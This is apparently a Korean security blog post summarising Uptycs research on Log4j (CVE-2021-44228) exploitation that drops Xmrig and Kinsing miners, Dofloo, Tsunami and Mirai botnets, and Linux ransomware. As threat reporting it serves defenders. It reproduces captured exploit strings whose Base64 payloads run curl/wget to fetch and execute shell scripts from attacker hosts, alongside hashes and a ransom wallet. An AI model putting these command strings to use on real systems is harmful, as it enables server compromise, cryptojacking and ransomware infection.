상세 컨텐츠

본문 제목

Log4j 취약점 악용 사례

국내외 보안동향

by 알 수 없는 사용자 2021. 12. 28. 11:09

본문

Log4j 취약점을 악용한 마이너, DDoS 악성코드, 랜섬웨어 공격이 확인되었습니다. 이러한 공격 외에도 업데이트된 패치를 우회할 수 있는 공격이 추가로 발생할 수 있습니다. 따라서 Log4j 취약점을 악용한 공격에 대해서 지속적인 모니터링과 보안 패치는 매우 중요합니다.

 

Uptycs 연구원들은 취약한 서버에 다운로드되는 다양한 종류의 페이로드를 식별하였습니다. 페이로드에는 Kinsing, Xmrig 코인마이너와 Dofloo, Tsunami, Mirai 봇넷 악성코드가 확인되었습니다. 이 외에도 공격자가 CVE-2021-44228를 악용해 취약한 피해자 서버에 랜섬웨어를 배포하는 것이 확인되고 있습니다.

 

코인 마이너

(1) Xmrig

Xmrig는 모네로 암호화폐를 채굴하는데 사용되는 오픈 소스 모네로 CPU 마이너입니다. Uptycs 연구원들은 공격자가 Log4j 2 취약점을 활용하여 Xmrig 마이너를 다운로드하는 명령어가 포함된 악성 셸 스크립트를 실행하려는 것을 확인하였습니다. [표 1]의 명령어는 [표 2]의 마이너 셸 스크립트를 다운로드합니다.

93.189.42[.]8:5557,/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40Mi44KXx

[표 1] Xmrig 마이너를 다운로드하는 명령어

 

46bd3a99981688996224579db32c46af17f8d29a6c90401fb2f13e918469aff6

[표 2] 마이너 셸 스크립트 해시값


[그림 1]의 셸 스크립트는 이미 실행 중인 마이너 바이너리 파일을 종료한 다음, 인터넷에서 Xmrig 마이너 바이너리 파일을 다운로드하여 실행합니다.

[그림 1] Xmrig를 다운로드하고 실행하는 셸 스크립트 (출처 : uptycs)

 

(2) Kinsing

Kinsing은 외부로 오픈된 Docker Daemon API 포트를 대상으로 하는 자가 복제 크립토 마이닝 악성코드입니다. Kinsing 악성코드는 go 언어로 작성되었으며, 보통 악성 셸 스크립트를 통해 다운로드됩니다. Kinsing 셸 스크립트에는 setfacl 사용, chattr 사용, 로그 제거 명령 등과 같은 여러 탐지 우회 방법이 포함되어 있습니다.

 

Uptycs 연구원들은 공격자가 대량 스캔 후 취약한 서버에 Kinsing 악성코드를 다운받는 것을 발견하였습니다. 

92.242.40[.]21:5557,/Basic/Command/Base64/KGN1cmwgLXMgOTIuMjQyLjQwLjIxL2xoLnNofHx3Z2V0IC1xIC1PLSA5Mi

[표 3] 공격자가 셸 스크립트를 다운받고 실행하기 위해 사용하는 명령어

 

7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512

[표 4] 셸 스크립트 해시값

 

[그림 2]와 같이 [표 4]의 셸 스크립트가 실행되는 동안, 공격자가 Kinsing 악성코드 바이너리를 다운로드하는 명령어를 입력하였습니다.

[그림 2] 셸 스크립트를 통해 다운로드되는 Kinsing (출처 : uptycs)

 

Kinsing 셸 스크립트에는 피해자 시스템에서 이미 실행 중인 마이너 프로세스를 종료하는 docker 관련 명령어도 포함되어 있습니다.

[그림 3] 이미 실행 중인 마이너를 종료하는 docker 명령어 (출처 : uptycs)

 

DDoS 봇넷 페이로드

일부 익스플로잇 시도에서 공격자가 Dofloo, Mirai와 같은 DDoS(Distributed Denial-of-Service) 악성코드 바이너리를 다운로드 시도를 하는 것이 확인되었습니다.

 

(1) Dofloo

Dofloo(AeSDdos, Fluder)는 대상 IP 주소에서 ICMP 및 TCP와 같은 다양한 유형의 Flooding 공격을 수행하는 DDoS 유형의 악성코드입니다. Flooding 공격과 함께 Dofloo는 피해자 시스템에서 rc.local 파일을 조작하여 지속성을 갖습니다. 일부 변종은 피해자 컴퓨터에 가상화폐 마이너를 배포합니다.

 

Uptycs 연구원들은 공격자들이 취약한 서버에 익스플로잇 시도 후, Dofloo 악성코드를 다운로드하고 있음을 확인하였습니다. 

81.30.157[.]43:1389,/Basic/Command/Base64/d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYWFhtO2N1cmwgLU8gaHR0cDovLzE1NS45NCT

[표 5] 공격자가 사용한 명령어

 

[그림 4]는 Dofloo가 Log4j 공격 후, 변종에 사용하여 rc.local을 조작한 것을 보여줍니다.

[그림 4] rc.local을 조작하는 Dofloo (출처 : uptycs)

 

6e8f2da2a4facc2011522dbcdaca509195bfbdb84dbdc840382b9c40d7975548

[표 6] [그림 4] Dofloo의 해시값

 

(2) Tsunami (mushtik)

Tsunami 악성코드는 감염된 시스템에서 파일을 다운로드하고 셸 명령을 실행할 수 있는 크로스 플랫폼 기반 DDoSflooder입니다. [표 7]의 Tsunami 악성코드 샘플은 crontab을 지속적으로 사용하였습니다.

4c97321bcd291d2ca82c68b02cde465371083dace28502b7eb3a88558d7e190c

[표 7] Tsunami 악성코드 샘플 해시값

 

더불어, [그림 5]와 같이 탐지 우회를 위해 /dev/shm/ 디렉터리 복사본을 드롭합니다.

[그림 5] /dev/shm에서 cron을 통해 실행되는 쓰나미 (출처 : uptycs)

 

(3) Mirai

Mirai는 ARC 프로세서에서 실행되는 스마트 기기를 감염시켜 원격으로 제어되는 봇 네트워크로 전환하는 악성코드입니다. Mirai는 또한 악성 셸 스크립트를 통해 유포됩니다. 

45.137.21[.]9:1389,/Basic/Command/Base64/d2dldCAtcSAtTy0gaHR0cDovLzYyLjIxMC4xMzAuMjUwL2xoLnNofGJhc2g=

[표 8] 공격자가 사용한 명령어

 

[그림 6]의 명령어는 wget 유틸리티를 사용하여 C2와 62.210.130[.]250에서 Mirai 악성코드를 다운로드합니다.

[그림 6] C2에서 Mirai를 다운로드하는 셸 스크립트 (출처 : uptycs)

 

리눅스 랜섬웨어

공격자는 또한 Log4j 취약점을 활용하여 취약한 서버에 Linux 랜섬웨어를 다운로드할 수 있습니다. 

5c8710638fad8eeac382b0323461892a3e1a8865da3625403769a4378622077e

[표 9] Log4j 취약점을 활용하여 공격자가 다운로드받은 리눅스 랜섬웨어 해시값

 

랜섬웨어는 go 언어로 작성되었으며, ssh 파일을 조작하여 피해자 시스템에 유포됩니다. 랜섬웨어는 '.locked' 확장자로 파일을 암호화했고, 공격자가 드롭한 랜섬노트는 [그림 7]과 같습니다.

[그림 7] 리눅스 랜섬 노트 (출처 : uptycs)

 

1K25DjGJuqpK3cgKW15WmHXahuvAfUomVU

[표 10] 공격자가 사용한 지갑 주소

 

많은 서비스에서 취약한 Log4j 2 라이브러리를 사용하고 있기 때문에 Log4j 취약점을 초기 공격 벡터로 이용한 공격이 급증하고 있습니다. 앞으로도 많은 악성 프로그램, 특히 랜섬웨어가 Log4j 취약점을 활용하여 피해자들의 기기를 감염시킬 것으로 추측됩니다. 

 

출처 : 
https://securityaffairs.co/wordpress/125842/cyber-crime/log4j-vulnerability-aftermath.html
https://www.uptycs.com/blog/log4j-vulnerability-aftermath

 

MIR Team

관련글 더보기

댓글 영역